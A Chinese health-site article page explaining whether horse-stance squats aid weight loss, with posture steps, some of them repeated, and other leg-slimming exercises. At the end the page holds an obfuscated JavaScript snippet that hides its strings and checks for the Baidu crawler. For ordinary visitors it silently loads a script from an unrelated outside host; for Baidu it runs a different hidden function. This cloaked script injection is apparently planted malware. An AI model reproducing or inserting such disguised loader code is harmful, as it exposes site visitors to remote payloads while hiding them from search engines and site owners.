当前位置:首页 > 减肥 > 运动减肥 > 正文

蹲马步能减肥吗

2017-04-22 10:05:36  来源:360常识网   热度:
导语:现如今随着人们生活水平的不断提高,很多人出现营养过剩,身体肥胖的现象,胖的人也想减肥但就是控制不住自己的嘴,经常会饿想吃东西,甚至

现如今随着人们生活水平的不断提高,很多人出现营养过剩,身体肥胖的现象,胖的人也想减肥但就是控制不住自己的嘴,经常会饿想吃东西,甚至有的人半夜里还会起来吃东西,这样不胖才怪。如果不能通过饮食那就选择运动来减肥,这是很多人都认可的减肥方法,而且运动不但能减肥还能顺便锻炼了身体,增强了体质和抵抗力。接下来我们重点说一说蹲马步能减肥吗?

腿分开与肩同宽,将重心集中在身体中央。双腿站过宽重心会太低,站过窄重心会太高,都不利于下面的动作。

保持重心将两手伸直举在胸前,这个动作有助于拉伸身体两侧的肌肉线条,也有助于将下蹲后重心向前修正,不至于下蹲后向后跌倒。

两腿半蹲,不要蹲过低,大腿感觉酸酸是比较合适的角度,太低重心不稳,太高大腿肌肉受力达不到马步的要求,瘦腿无效。

想要减肥,运动是必不可少的。想要减掉大腿内侧的肥肉,就要坚持锻炼大腿的肌肉。马步瘦腿操,每次可以练习5-10次,每次半蹲时尽量多停留一些时间,直到难以坚持为止,这样才能达到燃烧大腿多余的脂肪的目的。除了练习马步瘦腿操,还可以每天抬腿100-200下,睡前仰卧在床上蹬腿100下,这些都是很好的瘦腿方法。

蹲马步可以瘦腿吗?

1、两只腿分开分别和肩同宽,然后把身体的重心用在身体中央。注意双腿不要站得过宽,否则会导致重心太低,如果身体站得过窄重心就会太高,这两种情况都会让下面的动作很难进行。

2、保持好身体重心然后再把两只手伸直举在身体正前方,这个动作有助于拉伸身体两侧的肌肉线条,也可以矫正下蹲后重心不稳的问题,不至于下蹲后向后跌倒。

3、最后两腿半蹲,不要蹲得过低,只要大腿感觉酸酸就正好恰当好处了,太低重心不稳,太高大腿肌肉受力达不到马步的要求,都不会对下半身起到减肥的效果。

蹲马步瘦腿

双腿横跨,两手插腰,两脚间距离略比肩宽,上身保持正直,半蹲,就是我们平时所说的马步姿势,保持。

相信很多人会爱惜形象而不愿意用这个姿势锻炼,不过这个方法也有好处哦,你不必借助于支持物练习,并且可以同时锻炼两条腿。

直腿坐拉长韧带

坐在自己的办公桌前就可以练习。只将半个臀部坐在椅子上,双腿向前伸平,上身保持正直,初练者这一点很难做到,可以用手扶住椅子扶手或桌沿来保持平衡。这个方法不仅可以锻炼腿部肌肉,还可以拉长韧带,锻炼腰背,一举三得。

上述就是对蹲马步能减肥吗这一问题的详细解释,由此我们知道了蹲马步可以减腿部的肥肉。我个人觉得蹲马步是最简单最方便的减肥方法之一,因为蹲马步可以只在一个固定的空间不需要太大,也不需要什么器材设备,更不需要花钱,还不影响你做一些简单的手头工作,一举多得。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}